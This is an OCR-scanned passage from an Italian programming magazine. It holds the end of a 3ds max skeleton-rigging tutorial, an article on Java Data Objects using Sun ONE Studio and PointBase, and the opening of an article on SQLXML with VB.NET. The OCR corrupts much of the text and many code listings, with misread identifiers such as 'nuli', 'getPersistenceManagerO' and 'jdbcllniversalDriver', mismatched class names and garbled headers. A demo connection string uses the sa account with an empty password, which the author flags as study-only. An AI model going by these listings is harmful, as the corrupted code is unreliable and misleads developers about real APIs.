a , ',y Tr"A"V"A" V V V r ff "i 1 "i 1 i'"A"A"i
ffi ac m -w
,_„.,
I,.«.,.,.,„ » tì .,l.,„„ ; , H ." »..- ÌJ—» ^
"^fr 1 - - !*• «E.»" "i '-, 'll.lnll
' ~— 1— -w
ffi |>^J.^_IS
■
104 >>> M a
http: //www. itport al.it
■
21-22 I Dummy e tutti i link
Recatevi nel pannello
Create/ Helpers/ Dummy
e create due Dummy per i
polsi, nominandoli Polso
Sx e Polso Dx, e due per
le dita, Dita Dx e Dita Sx.
Linkiamo quindi le catene
IK dei polsi ai Dummy dei
polsi, e le catene delle dita
ai Dummy delle dita. Ora
linkate i Dummy delle dita
ai Dummy dei polsi.
Linkate le ossa delle
braccia superiori al Dummy
del collo.
Linkate i Dummy dei polsi
al Dummy del collo, in
modo che quando
muoviamo il Dummy del
collo, le braccia si muovano
con esso.
Lo scheletro è finito. Se
occorre aggiustare
l'angolazione delle braccia,
sistematela come spiegato
nel passo 15.
Limitare i movimenti 23
Se vogliamo, possiamo limi-
tare i movimenti delle ossa,
ad esempio in modo che un
piede non ruoti più del
dovuto. Zoomate sui piedi,
nella vista prospettica, e
selezionate l'osso delle dita
(quindi non il Dummy e
non la catena IK). Aprite il
pannello Hierarchy/IK e,
nel rullout Rotation Joint,
troverete i parametri neces-
sari per limitare i movimen-
ti. Ci interessa soprattutto
limitare le dita sull'asse Z.
attivate quindi il tasto
Limited in Z Axis e impo-
state il valore minimo e
massimo della rotazione del
dito: From = -30 e To =
30. Così facendo, quando
muovete i Dummy per ani-
mare lo scheletro, l'osso del
dito si ferma fino ad un
certo punto (definito appun-
to in From e To). Eseguite
W Active : Limited
To:
Preferred Angle: PV! al
From:
■Z'Ak.ìs
W Active W Limited
From: To:
|-30,0 ^| [3670 Cj
Preferred Angle:[W M
^
la stessa operazione per
l'altro dito e per il resto del
corpo se volete un miglior
controllo.
Conclusioni
Adesso, lo scheletro è
pronto per essere associato
ad una superficie. Per ani-
mare l'intero scheletro,
basta attivare il tasto
AutoKey (Animate nelle
versioni precedenti di
3dsmax) ed iniziare a spo-
stare gli oggetti Dummy di
frame in frame (consiglio di
effettuare movimenti alme-
no ogni 5-10 frame,
andando a ritoccare, se
necessario, l'azione tra i
fotogrammi chiave creati).
Per questo processo, è
opportuno salvare spesso e
avere molta pazienza. Se
vogliamo inserire lo schele-
tro in una superficie, inve-
ce, basta applicare a que-
sta il modificatore Skin e
impostarne i vari parame-
tri. Possiamo applicare i
procedimenti fin ora visti
per la creazione di qualsiasi
struttura che necessita di
essere animata con uno
scheletro interno. Esistono
comunque altri metodi per
animare un personaggio
bipede. Una soluzione sicu-
ramente più sbrigativa, e
con maggiore controllo, è
l'utilizzo del modulo
Character Studio, oppor-
tunamente studiato per
queste operazioni, in grado
non solo di animare perso-
naggi bipedi (se adattato
anche quadrupedi) ma
anche di gestire folle,
rigonfiamenti sulle superfi-
ci, importare movimenti
catturati con attrezzature di
Motion Capture, e molto
altro. E con questo abbia-
mo finito. Appuntamento al
prossimo mese per un altro
tutorial molto interessante
sempre sull'animazione, ma
questa volta procedurale.
http://www.itportal.it
g 9
2 3 >>> 105
Advanced
E d
t i o n
Java
Data Object
Java Data Objects
ACCESSO AI DATABASE
JDO (Java Data Objects) è una nuova specifica Java che
consente di realizzare la "Transparent Persistence", cioè
le possibilità di memorizzare in modo permanente, e
trasparente, oggetti su un qualsiasi data-store.
Sun One
Molto probabil-
mente, alla data
di pubblicazione di
questo articolo, Sun
avrà rilasciato la ver-
sione 4 di One Studio.
http://wwws.sun,com/sof
tware/sundev/ide/
La specifica JSR-000012 della "Java Com-
munity Process" è stata rilasciata nei mesi
scorsi con il nome di JDO. L'obiettivo fi-
nale di questa specifica è di poter memorizzare
oggetti Java, in modo trasparente, su diverse ti-
pologie di data-store, vale a dire database rela-
zionali, file proprietari, xml, ecc.. Oggi, grazie a
JDO, i programmatori Java possono finalmente
utilizzare uno standard per rendere gli oggetti
persistenti. In questo articolo cercheremo di mo-
strare come, perché e quando utilizzare JDO. Per
prima cosa, introdurremo l'attuale scenario;
quindi le differenti soluzioni che un program-
matore ha per implementare un "sistema persi-
stente", cioè: serializzazione, JDBC/SQLJ oppu-
re altre tecnologie proprietarie. Poi, passeremo
ad esaminare i concetti fondamentali di JDO. Si
vedrà perché JDO rappresenta una soluzione
portabile, riusabile e scalabile per scrivere appli-
cazioni Java che accedono ad oggetti persistenti.
In fine, sarà sviluppato un esempio pratico
usando Sun ONE Studio 3.0 Community Edi-
tion.
PERCHE JDO
Negli ambienti orientati agli oggetti, come Java,
gli oggetti sono entità esclusivamente residenti
in memoria centrale. I dati contenuti all'interno
degli oggetti sono quindi temporanei, in quanto
saranno distrutti una volta che l'applicazione
sarà terminata. In molte circostanze, nasce l'esi-
genza di rendere gli oggetti persistenti in modo
che i dati possano essere salvati per un'esecuzio-
ne successiva, oppure essere condivisi da diver-
se applicazioni. Per realizzare questo, esistono
già numerose soluzioni. Per esempio, la serializ-
zazione messa a disposizione da Java, attraverso
l'interfaccia java.io.Serializable, rende possibile
salvare il contenuto di un oggetto su file. Questa
soluzione presenta il vantaggio che è supportata
direttamente dal JDK, quindi non è necessario
acquistare o installare moduli esterni. Inoltre, gli
oggetti persistenti sono normali oggetti Java, la
cui unica restrizione è quella di implementare
l'interfaccia java.io.Serializable. Questo approc-
cio, anche se semplice da realizzare, presenta
numerosi aspetti negativi. Infatti, il programma-
tore ha la responsabilità di implementare i det-
tagli per la memorizzazione sul data-store al fi-
ne di ottenere la persistenza. Inoltre, la serializ-
zazione è inadeguata per eseguire query o ag-
giornamenti ad alte prestazioni. In fine, non c'è
nessun supporto per le transazioni. Una seconda
soluzione per realizzare la "persistenza" è quella
di usare un database relazionale come data-sto-
re. Usando JDBC o SQLJ, il programmatore può
memorizzare, aggiornare e fare query su oggetti
in modo molto efficiente. Questo approccio è
quello attualmente più usato nel mondo dell'In-
formation Technology. Il vantaggio principale
sta nel fatto che il back-end del sistema è rap-
presentato da DBMS robusti, collaudati e ad ele-
vate prestazioni come Oracle, SQL-Server o Sy-
base. Inoltre, le operazioni sui dati sono effet-
tuate attraverso il linguaggio standard SQL e c'è
il supporto per le transazioni. Nonostante questi
vantaggi, il programmatore avrà comunque la
responsabilità di progettare il sistema che tradu-
ce gli oggetti Java, elementi compatibili con le
tabelle del database relazionale; questo non è
certo un lavoro da poco. In effetti, esistono sul
mercato numerosi prodotti che forniscono un
mapping automatico tra oggetti e database rela-
zionali. Alcuni di essi sono sviluppati e distri-
buiti con il database stesso; generalmente sono
prodotti molto efficienti ed estremamente otti-
mizzati. Un'ultima soluzione è quella di usare
un database orientato agli oggetti. In questo mo-
do l'applicazione Java potrà memorizzare diret-
tamente gli oggetti nel database usando le API
fornite con il database stesso. Prodotti come Ver-
sant, Object Store, Poet sono i database orientati
agli oggetti più utilizzati del momento. In ogni
106 ►►► M a g g
3
http: //www. itport al.it
caso, le soluzioni proposte usano tecnologie non
standard per accedere agli oggetti; ogni prodot-
to ha le proprie caratteriste e la propria API.
Questo può essere un serio problema per la por-
tabilità che, come vedremo, JDO risolve brillan-
temente.
ARCHITETTURA JDO
JDO può essere usato indifferentemente in archi-
tetture client-server classiche, oppure con in si-
stemi n-tier dotati di un application server. Le
applicazioni dialogano esclusivamente con JDO,
ignorando completamente il sistema di memo-
rizzazione dei dati sottostante. Il mapping tra
oggetti Java e strutture fisiche che compongono
la base di dati è effettuato autonomamente da
JDO in maniera del tutto trasparente.
Application
JDO
1
JavaVM
DB
Fig. 1: Architettura JDO per sistemi client-server a
due strati.
Come si può notare dalla Fig. 1, l'unico strato
che accede alla fonte di dati è JDO. Le applica-
zioni invece utilizzeranno esclusivamente gli
oggetti forniti dall'implementazione di JDO e
non avranno accesso diretto al database. Cam-
biando la fonte di dati e l'implementazione di
JDO, le applicazioni dovrebbero continuare a
funzionare senza che si renda necessaria alcuna
modifica. Come è già stato detto, JDO può esse-
re anche utilizzato da un application server (Fig.
2). In questo caso, le applicazioni client dialo-
gheranno con l'application server in modo da
Fig. 2: Architettura JDO per sistemi che usano
application server.
accedere - attraverso CORBA, RMI o EJB - agli
oggetti persistenti. Anche in questo caso, se il
database e l'implementazione di JDO cambiano,
le applicazioni client continueranno a funziona-
re ugualmente.
INTERFACCE JDO
La specifica JDO fornisce un insieme d'interfac-
ce standard per accedere, memorizzare e gestire
oggetti persistenti. I principali componenti pre-
senti in JDO sono i seguenti:
• Classi PersistentCapable. In JDO tutti gli
oggetti persistenti sono istanze dell'interfac-
cia PersistentCapable. Fortunatamente questa
è un'operazione che avviene in modo traspa-
rente. Il programmatore non deve esplicita-
mente costruire le proprie classi in modo che
implementino PersistentCapable.
Generalmente, le varie implementazioni di
JDO mettono a disposizione un tool che pro-
cessa le classi definite dall'utente e che le ren-
de trasparentemente PersistentCapable. Que-
sto processo - chiamato enhancing - aggiun-
ge il codice necessario alle classi per il sup-
porto alla persistenza.
• PersistentManager. Quest'interfaccia gesti-
sce gli accessi e le memorizzazioni degli og-
getti, nonché le query e le transazioni. Può
essere considerato l'oggetto principale di tut-
ta la specifica JDO. Grazie al PersistentMana-
ger le applicazioni possono rendere gli ogget-
ti persistenti, aprire e chiudere le transazioni
ed effettuare query. Il PersistentManager può
essere visto come l'anello di congiunzione tra
le applicazioni client e l'implementazione
JDO.
• Transaction. JDO rende effettivo il supporto
delle transazioni grazie all'interfaccia Tran-
saction. Le applicazioni possono aprire nuove
transazioni e chiuderle attraverso le usuali
operazioni di commit o rollback.
• Query. L'interfaccia Query può essere utiliz-
zata per reperire oggetti che soddisfano un
determinato criterio. JDO usa un linguaggio
standard per inoltrare le query. Sono suppor-
tate anche query parametriche.
SUN ONE STUDIO 3.0
Sun ONE Studio (già Forte for Java) è un IDE
che comprende un insieme di tool progettati per
i programmatori Java professionisti. ONE Stu-
dio permette, in modo semplice ed intuitivo, di
gestire progetti che utilizzano Java e tutto ciò
Java
Data Object
Uno strato
impermeabile
Le applicazioni
utilizzano esclu-
sivamente JDO per ac-
cedere ai dati: ciò per-
mette una completa
separazione fra codice
e DBMS, consentendo
facili aggiornamenti e
semplificando le modi-
fiche conseguenti ai
cambiamenti di piat-
taforma.
http ://www.itport al.it
g g
3 ►►► 107
Java
Data Object
Wizard
FI Sun One Studio
7_ semplifica note-
volmente il lavoro del-
lo sviluppatore: speci-
fici tool si occupano di
generare buona parte
del codice necessario
ad interfacciare un'ap-
plicazione Java con i
database.
JDO
Attraverso la stan-
dardizzazione dei
meccanismi di collega-
mento fra database e
applicazioni Java, JDO
rende disponibile la por-
tabilità di Java anche in
un ambito dominato fi-
nora da soluzioni pro-
prietarie.
ase; Iliaca Ihostfea triple
>
OK Csncel
Fig. 3: La dialog "Connect to Database" della
console di PointBase.
che vi ruota intorno: JSP, EJB, CORBA, RMI,
Servlet, XML, JDBC, JDO ecc.. Il modulo Tran-
sparent Persistence di ONE Studio è un esempio
di implementazione JDO. Esistono altre imple-
mentazioni commerciali di JDO come Castor,
OpenFusion, KodoJDO, RexipJDO e Versant-Ju-
do. In quest'articolo ho scelto ONE Studio per
un paio di ragioni: ONE Studio 3.0 Cummunity
Edition è disponibile gratuitamente (vedi risor-
se); inoltre esso effettua il mapping tra gli ogget-
ti Java ed un database relazionale (PointBase).
Quest'ultimo aspetto è molto importante poiché
i progettisti di sistemi object oriented devono
spesso scontrarsi con questo tipo di problema. Il
codice presentato in quest'articolo mostrerà co-
me rendere un oggetto Java persistente, inoltra-
re query ed usare le transazioni. Il primo passo
da fare è quello di installare Sun ONE Studio 3.0.
Durante l'istallazione verrà chiesto se installare
PointBase: rispondere "yes". Dopo aver installa-
to il prodotto, bisogna costruire un database d'e-
sempio. Per evitare quest'operazione noiosa
possiamo usare il database fornito con PointBa-
se. Il nome di questo database è "sample". Usan-
do la console di PointBase è possibile ottenere
una connessione al database in modo da poterne
esplorare la struttura. Il batch file per far partire
la console sta nella directory pointbase\client. In
Fig. 3 è mostrata la dialog di connessione: l'URL
specifica il database, in questo caso "jdbc::point-
base//localhost/sample". Come si può notare, la
console usa un driver JDBC per accedere al da-
tabase. Affinché la connessione possa avvenire,
è necessario far partire prima il PointBase Net-
work Server attraverso la voce di menù Tools
I PointBase Network Server. Grazie alla console è
possibile inoltrare query in SQL, cambiare la
struttura del database ed effettuare operazioni
sui dati. Il database sample contiene 11 tabelle;
noi useremo CUSTOMER_TBL. Il passo succes-
sivo è mappare le tabelle in oggetti Java: bisogna
creare una classe Java per ogni tabella del data-
base alla quale s'intende accedere. Per fortuna,
ONE Studio ha un tool che effettua quest'opera-
zione automaticamente. Attraverso la voce di
menù Tools I Capture Schema è possibile utilizzare
un tool che crea le classi Java a partire dalla
struttura del database (Fig. 4).
Fig. 4: Il wizard "Capture Schema".
Come si può notare, il tool consente di scegliere
le tabelle da mappare; io suggerisco di selezio-
narle tutte. Il risultato finale sarà un file XML (di
estensione .mapping) che contiene tutte le infor-
mazioni riguardanti la struttura del database.
Successivamente, mediante questo file XML, sa-
ranno generati i file sorgenti relativi alle classi
Java. Tutta l'operazione porta alla creazione del
modulo DatabaseSchema (Fig. 5).
SII Explorer [Filesystems] i
(^ Filesystems I^J
*p OD c:^ava\forte4j\prjlsampledir
*p ^ dbsample
©- gr CustomerTbl
©- g? DiscountCodeTbl
©- g? ManufactureTbl
©- gr MicroMarketsTbl
©- gr OfficeTbl
& g? OfficeTypeCodeTbl
©- g? OrderTbl
> g? ProductCodeTbl
> gr ProductTbl
> g? SalesRepTbl
> g? SalesTaxCodeTbl
3 dbsample
©■ □ examples
O □ tutoria!
O gf CustomerTbl
O- ^ DatabaseSchema
o H
f DiscountCodeTbl
O- g? ManufactureTbl
©- gr" MicroMarketsTbl
0- g> OfficeTbl
O gj- OfficeTypeCodeTbl
©■ g? OrderTbl
O- gf ProductCodeTbl
©- g> ProductTbl
©- gr* SalesRepTbl
O E- SalesTaxCodeTbl M
Q Filesystems
O Project Default J| Javadoc =i= Runtime
Fig. 5: Il modulo DatabaseSchema.
Cliccando con il tasto destro del mouse su que-
sto modulo apparirà un pop-up menù; sceglien-
do Generate Java FIDE genererà le classi Java re-
lative alle tabelle del database sample. Specifi-
108 ►►► M a g g
3
http: //www. itport al.it
cando come package di destinazione dbsampìe,
troveremo qui i sorgenti Java.
A questo punto è possibile aggiungere la busi-
ness logie alle classi generate. Per completare
l'operazione bisogna compilare il package è
creare un jar con tutti i file .class risultanti (db-
sampìe.jar). Il jar deve essere creato con lo speci-
fico tool di ONE Studio il quale provvede anche
ad effettuare l'enhancing in modo automatico.
Badate bene a includere nel jar il file XML con
estensione .mapping. Attraverso questo file, l'im-
plementazione di JDO riesce a mappare gli og-
getti Java all'interno delle tabelle di PointBase.
Inoltre, è meglio non aggiungere i sorgenti nel
jar, potrebbero causare dei conflitti con i rispetti-
vi .class.
ESEMPI
In questo paragrafo saranno mostrati alcuni
esempi di utilizzo di JDO. Per compilare ed ese-
guire correttamente gli esempi, bisogna inserire
i seguenti jar, disponibili in ONE Studio, nella
variabile di ambiente CLASSPATH:
• persistence-rt.jar: modulo per la Trasparent
Persistence;
• dbschema.jar: modulo per lo schema del data-
base;
• xerces.jar: parser XML;
• pbclient35RE.jar: PointBase (client);
• dbsample.jar: le nostre classi generate.
Il primo passo consiste nell'implementare una
factory per la connessione al database dalla qua-
le ottenere istanze di PersistentManager. La fac-
tory deve implementare la seguente interfaccia:
import com.sun.forte4j. persistence.*
public interface PersistenceManagerProvider {
public PersistenceManager getPersistenceManager();
}
Attraverso il metodo getPersistetManager è possi-
bile ottenere l'oggetto PersistentManager. Come
si può notare, viene importato il package
com.sun.forteA] .persistence* . Il nome di questo
package non è definitivo, la versione definitiva
si chiamerà javax.jdo. L'implementazione concre-
ta dell'interfaccia è forse l'unica cosa che dipen-
de fortemente dal database sottostante giacché
effettua la connessione. Di conseguenza, l'imple-
mentazione deve essere cambiata ogni qualvolta
il database cambia. La seguente è l'implementa-
zione di PersistentManagerProvider per ottenere
una connessione al database PointBase di nome
sample:
import com.sun.forte4j. persistence.*;
import dbsampìe.*;
public class PointBaselmpI implements
PersistenceManagerProvider {
private PersistenceManager _pm = nuli;
public PointBaseImpl() {
// PersistenceManagerFactory
PersistenceManagerFactory pmf =
new PersistenceManagerFactoryImpl();
// Opzioni di connessione
pmf.setConnectionUserl\lame(" PUBLIC");
pmf.setConnectionPassword("PUBI_IC");
pmf.setConnectionDriverName
("com.pointbase.jdbc.jdbcllniversalDriver");
pmf.setConnectionURL( "jdbcipointbase:
//localhost/sample," + "max.connections=0");
pmf.setOptimistic(true);
// Ottiene il PersistenceManager
_pm = pmf.getPersistenceManagerO;
System. out.println("JDO connessione ok!");}
// ritorna il PersistenceManager
public PersistenceManager getPersistenceManager() {
return _pm;
_J
}
La classe PointBaselmpI ha l'attributo privato
_pm che rappresenta un'istanza di PersistenceMa-
nager. Il costruttore effettua la connessione al da-
tabase "jdbc::pointbase://localhost/sample" usando
il driver JDBC com.pointbase.jdbc.jdbcllniversal-
Driver. Come si può notare, le opzioni di con-
nessione - database, driver, loghi, password - so-
no passate al PersistentManagerFactory. Quest'in-
terfaccia consente di ottenere un oggetto Persi-
stenManager, mediante il metodo getPersistent-
Manager, che successivamente sarà memorizzato
nella variabile _pm. Il metodo getPersistentMana-
ger di PointBaselmpI - da non confondere con
quello di PersistentManagerFactory - restituisce
proprio il valore di _pm, cioè il PersistentManager
associato alla connessione. Attraverso PointBa-
selmpI, un'applicazione Java può quindi ottenere
un PersistenManager che rende effettiva la persi-
stenza usando il database PointBase:
PersistenceManagerProvider provider = new PointBaseImpl();
PersistenceManager pm = provider.getPersistenceManager();
Una volta ottenuto un oggetto di PersistentMa-
nager, è possibile rendere gli oggetti persistenti
come mostrato dal seguente listato:
private void makePersistent()throws Exception {
// ottiene il PersistenceManager
PersistenceManagerProvider provider = new PointBaselmplQ;
Java
Data Object
Sul Web
Java Community
Process JSR-000012
http://www.icp.org/about
Java/communityprocess/
first/isr012/
Sun ONE Studio 3.0
Cummunity Edition -
http://wwws.sun.com/
software/sundev/archive/
ffj/buy.html
Giuseppe Naccarato
[Sito Web]
http: //www, qiuseppe-nac-
carato.com.
http ://www.itport al.it
Maggio
2 3 ►►► 109
Java
Data Object
Bibliografia
• PERSIST DATA WITH
JAVA DATA OBJECTS,
PART 1
J. Kruszelnicki
JavaWorld
Marzo 2002
http: //www, iavaworld.com
/iavaworld/iw-03-2002
/iw-0301-ido.html
• USING JAVA DATA
OBJECTS
D. Almaer
OnJava
Giugno 2002
http://www.oniava.com/
pub/a/oniava/2002/02/06
/idol.html
PersistenceManager pm = provider.getPersistenceManager();
// inizio transazione
pm.currentTransaction().begin();
// creazione di un nuovo cliente
CustomerTbl customer = new CustomerTbl();
customer.setCustomerNum(9090);
customer.setName("Northest Itd");
customer.setAddrLnl("290E 55th Street");
customer.setAddrl_n2("");
customer.setCity("New York City");
customer.setCreditLimit(new Integer(34000));
DiscountCodeTbl de = new DiscountCodeTbl();
dc.setDiscountCode("K");
customer.setDiscountCodeTblOfDiscountCode(dc);
MicroMarketsTbl mm = new MicroMarketsTbl();
mm.setAreaLength(new Double(8.92));
mm.setAreaWidth(new Double(9.92));
mm.setRadius(new Double(9.92));
mm.setZipCode("88900");
customer.setMicroMarketsTblOfZip(mm);
// rendi l'oggetto persistente
pm.makePersistent(customer);
// commit
pm.currentTransaction(). commit() ;
}
Come si può notare, il metodo ottiene un'istanza
del PersistentManager attraverso il metodo get-
PersistentManager di PersistentManagerProvider.
Quindi fa partire la transazione, crea l'oggetto
customer appartenente alla classe CustomerTbl,
riempie i campi e infine - invocando il metodo
makePersistent - lo rende persistente. Attraverso
la console di PointBase possiamo effettivamente
constatare che un nuovo oggetto è stato aggiun-
to alla tabella CUSTOMER_TBL.
Come è già stato detto, JDO consente di effet-
tuare query e lo fa sfruttando tutte le ottimizza-
zioni e le feauture disponibili nel database sotto-
stante. JDO usa un linguaggio standard per inol-
trare la query molto simile ad SQL. Solitamente
una query consiste di tre principali elementi:
una collezione di istanze JDO candidate, un og-
getto di tipo Class rappresentante la classe (o
una sottoclasse) delle istanze candidate e una
stringa che specifica il criterio di ricerca. Il lista-
to seguente mostra un esempio di query su og-
getti CustormerTbl:
private void query() throws Exception
{
// ottiene il PersistenceManager
PersistenceManagerProvider provider = new PointBaseImpl();
PersistenceManager pm = provider.getPersistenceManagerQ;
// inizio transazione
pm.currentTransaction().begin();
// prepara la query
Class CustomerTbICIass = (new CustomerTbl()).getClass();
Collection extent = pm.getExtent(CustomerTblClass, false);
Query q = pm.newQuery (
CustomerTbICIass, // class
extent, // candidati
"creditLìmit > 25000" // criterio
)i
Il esegue la query
Collection col = (Collection) q.execute();
// mostra i risultati
Iterator i = col.iterator();
while (i.hasNext())
A
CustomerTbl customer = (CustomerTbl) i.next();
System. out.println("Cliente = " + customer.getName());
_}
// commit
pm. currentTransaction(). commit() ;
}
La query restituirà tutti i clienti il cui limite di
credito (creditLimit) è maggiore di 25.000.
TRANSAZIONI
Al PersistentManager è associato un oggetto di ti-
po Transaction, usato per gestire transazioni che
coinvolgono gli oggetti persistenti. Il metodo
currentTransaction restituisce la transazione cor-
rente come istanze dell'interfaccia Transaction.
Abbiamo già visto all'opera questo metodo negli
esempi precedenti.
L'interfaccia Transaction contiene i seguenti me-
todi:
void begin();
// fa partire una transazione
void commitO;
// effettua il commit sulla transazione
corrente
void rollbackO,
// effettua il rollback sulla transazione
corrente boolean isActive(); // restituisce
true se la transazione è attiva
JDO è in grado di gestire entrambi: transazioni
di tipo ottimistico e pessimistico.
CONCLUSIONI
La specifica JDO fornisce un metodo flessibile e
standard per gestire oggetti persistenti. Sempli-
fica notevolmente lo sviluppo di applicazioni si-
cure e scalabili assicurando la portabilità e l'in-
tegrazione tra differenti tecnologie.
Il codice JDO è semplice, intuitivo e - cosa mol-
to importante - può essere usato con differenti
fonti di dati. Nonostante JDO sia ancora giovane
ed in via di sviluppo, i benefici del suo utilizzo
sono chiari fin da adesso.
Giuseppe Naccarato
110 ►►► M a g g
2 3
http: //www. itport al.it
< 4 ■* 4 ■* -4 4 ■* < Advanced Edition
Accesso
AI DATI CON SQL2000, SQLXML 3.0
E VISUAL BASIC.NET
In questa seconda parte dell'articolo, continueremo la nostra
esplorazione delle possibilità offerteci dalla tecnologia
SQLXML all'interno di un'applicazione .NET.
La nostra applicazione si configurerà come appli-
cazione server ed utilizzerà l'infrastruttura di
ASP.NET., impiegando come sorgente dati il da-
tabase demo di SQL Server, ovvero Northwind. Svi-
lupperemo per Northwind una serie di funzionalità
che permetterà la consultazione di cataloghi di prodot-
ti, l'aggiornamento di quantità ordinate ed un Web Ser-
vice che permetterà l'accesso alle funzionalità da qual-
siasi piattaforma, ad esempio anche dalle vecchie ap-
plicazioni COM. L'accesso ai dati sarà realizzato me-
diante SQLXML.
CREIAMO L'APPLICAZIONE
Per cominciare, creiamo una nuova applicazione WEB
ASP.NET, denominandola NorthWeb. Dopo aver fatto
ciò, andiamo ad includere il riferimento all'assembly,
che permetterà l'accesso alle funzionalità di SQLXML.
Dal menu Progetto scegliamo Aggiungi Riferimento e cer-
chiamo nella lista dei componenti .NET l'assembly Mi-
crosoft Data. SqlXmLdìl, il quale contiene il namespace
Microsoft Data. SqlXml, versione 3.0.1523.0. L'altra opera-
zione che vi consiglio di fare, è quella di eliminare il co-
siddetto "root namespace" che Visual Studio genera
ogni volta che creiamo un'applicazione VB.NET. Per far
questo, dopo aver selezionato il file del progetto, sele-
zioniamo Progetto I Proprietà e rimuoviamo il namespa-
ce creato automaticamente per noi da Visual Studio.
L'onere che avremo sarà quello di anteporre il name-
space in tutte le classi del nostro progetto, ma la chia-
rezza della struttura del progetto ne guadagnerà mol-
tissimo, soprattutto se osservata nell'object browser (F2
se avete la mappatura di tastiera VB6-Style). A questo
punto abbiamo tutto ciò che ci occorre per lavorare al-
l'interno del nostro progetto. L'unica cosa che ci rimane
da fare è scrivere un po' di codice!
CONFIGURAZIONE
E CONNESSIONI
Il primo file sul quale agiremo sarà Web.Config. Do-
vremo infatti aggiungere una sezione "appSettings" nel-
la quale inserire due chiavi:
• La prima sarà una stringa di connessione classica a
SQL Server 2000;
• La seconda un URL che punterà al nostro pseudo
sito NorthWind creato e configurato nell'articolo
precedente.
<configuration>
<appSettings>
<add key="SQLConnectionString"
value="Provider=SQLOLEDB;server=localhost;
uid = sa;pwd=;database=NORTHWIND" />
<add key="IISConnectionURL"
value="http://localhost/Northwind" />
</appSettings>
</configuration>
Per inciso: questa è un'applicazione di studio, perciò è
assolutamente ammissibile che nella stringa di connes-
sione compaiano login e password del database, per di
più dell'amministratore. Nel mondo reale NON utiliz-
zatele mai, create sempre degli utenti con credenziali
aventi permessi ristretti ed impiegate estesamente la
Trusted Connection, detta anche Integrated Security.
Questi accorgimenti sono da tenere assolutamente in
conto, a meno di non voler andare incontro a problemi
di Sqllnjection o altri "exploit", dannosi per il database.
Impostate queste stringhe amministrative, creiamo an-
che una classe di nome GlobalFunctions, la quale sarà
adibita a contenitore di funzioni shared (statiche) di
uso comune. E preferibile utilizzare questo meccani-
smo invece dei vecchi moduli .bas di Visual Basic 6.0,
in quanto dichiarando un membro di classe statico, ov-
vero richiamabile senza la necessità della creazione del-
la classe stessa, saremo perfettamente allineati con i pa-
radigmi della programmazione ad oggetti. All'interno
di questa classe, definiamo tre semplici helper func-
tions per recuperare velocemente le impostazioni di
Ikl File sul CD
\soft\codice\SQLXML
File sul Web
www.itportal.it/iop69
/SQLXML
SQL2000
BOOKS
ONLINE
Spesso sottovalu-
tati o addirittura
sconosciuti, I cosiddet-
ti Books Online di SQL
Server 2000 rappre-
sentano una fonte ine-
sauribile di informazio-
ni. Se installate SQL
2000, ricordatevi an-
che di installarvi tutti
gli esempi relativi ai
vari usi degli oggetti
ad esso collegati: ADO,
SQL-DMO, ecc.
http ://www.itport al.it
g g
3 ►►► 111
SQL
XML
base dal file Web.Config:
Public Shared Function SQLConnectionString() As String
Dim _strTemp As String = ""
Try
_strTemp = ConfigurationSettings.AppSettings(
"SQLConnectionString")
Catch ex As Exception
'do nothing
End Try
Return _strTemp
End Function
Provate a pensare al vantaggio che una tale soluzione
assicura: è possibile installare delle "piccole" applica-
zioni server in ogni sede staccata, ciascuna delle quali
risponderà a delle interrogazioni della sede centrale, la
quale si occuperà di aggregare, rendere consistenti e
presentare i dati come l'utente li ha richiesti, tramite
pagine ASP.NET o Web Services. Nella nostra applica-
zione, non svilupperemo tale architettura, essendo
troppo onerosa in termini di spazio per la descrizione
approfondita, ma forniremo prova della possibilità di
effettuare in pratica queste interrogazioni.
Svilupperemo:
EVERETT
Questo il nome in
codice della nuo-
va versione di Visual
Studio .NET, la cui Fi-
nal Beta (in inglese) è
stata rilasciata nel me-
se di Novembre 2002.
L'integrazione con di-
spositivi mobili si fa
ancora più stretta, e
con l'architettura GXA
(Global Xml Architec-
ture) alle porte è un
must tenersi costante-
mente aggiornati.
Oltre alla funzione qui presentata, ne vengono definite
altre due per reperire la connessione al sito NorthWind
ed alla directory contenente i file template XML ese-
guibili sulla nostra fonte dati. Questi ultimi si compor-
teranno più o meno come delle "stored procedure", ov-
vero rappresenteranno dei blocchi di estrazione, inseri-
mento o modifica di informazioni all'interno della no-
stra base di dati, che noi potremo invocare da qualun-
que applicazione che necessiti di tali servizi. Vediamo
in dettaglio l'idea in Fig. 1. La figura illustra un'archi-
tettura possibile per la nostra applicazione. Possibile
perché grazie alle tecniche basate su SQLXML, la sca-
labilità ed il decentramento sono la base della funzio-
nalità della soluzione proposta. Possiamo mantenere
uniti o separare, nel senso fisico del termine, i vari ser-
vizi di accesso ai dati che al nostra applicazione impie-
gherà.
ni
Clients (IE, WìnForms, Java...)
g
Server NorthWind
Fig. 1: Diagramma di connessione e servizi
templated.
Possiamo individuare:
• II server web: produce pagine ASP.NET e fornisce
web services interrogando fonti dati mediante
SQLXML o ADO.NET.
• II server di database: all'interno della stessa rete del
server web, fornisce servizi di accesso ai dati ad al-
te prestazioni.
• Il server NorthWind decentrato, nel quale si potrebbe
riconoscere una sede staccata della NorthWind
stessa, magari un magazzino o un deposito del
quale si vogliano conoscere dati di diversa natura
quali disponibilità, giacenze e carichi.
• Una pagina ASP.NET di consultazione del listino
prodotti.
• Un web service mediante il quale effettuare inter-
rogazioni su prodotti e disponibilità.
• Un client WinForm per consumare il web service.
Il problema più grosso dell'applicazione, a dire il vero
di qualunque applicazione che interagisca con Inter-
net, ovvero la sicurezza, è stato volutamente tralascia-
to per non appesantire troppo la discussione.
CONSULTAZIONE
DEL LISTINO PRODOTTI
Vedremo ora due tecniche di consultazione del listino
prodotti della nostra azienda fittizia. Provate ad imma-
ginare il seguente scenario: la sede centrale di una
grossa azienda, che distribuisce dei prodotti di largo
consumo, riceve un ordine di una quantità di merce da
parte di un certo cliente, e vuole determinare se il ma-
gazzino più vicino alla sede dell'azienda del cliente
può far fronte alla richiesta che appare nell'ordine. Nel
caso di una gestione magazzino accentrata, i dati del
deposito decentrato dovrebbero essere mantenuti ag-
giornati nel database della sede centrale, in modo da
essere consultabili prontamente dagli impiegati addet-
ti all'evasione ordini. Ma se presso il deposito si instal-
la un piccolo web server, che fornisca esclusivamente la
possibilità di effettuare query da template sui dati del-
le giacenze di magazzino, ecco che si può gestire un
magazzino in modalità remota. Esaminiamo una solu-
zione che effettua due tipi di interrogazioni:
• Remote, con uso del supporto di SQL2000 ad US
• Locali, mediante uso di SQLXml.NET
INTERROGAZIONI
REMOTE MEDIANTE
RESPONSE-REQUEST
La seconda modalità è molto interessante in quanto
permette una piccola digressione su due oggetti molto
interessanti del framework .NET, presenti nel Name-
space System. Web, gli oggetti WebRequest e WebRe-
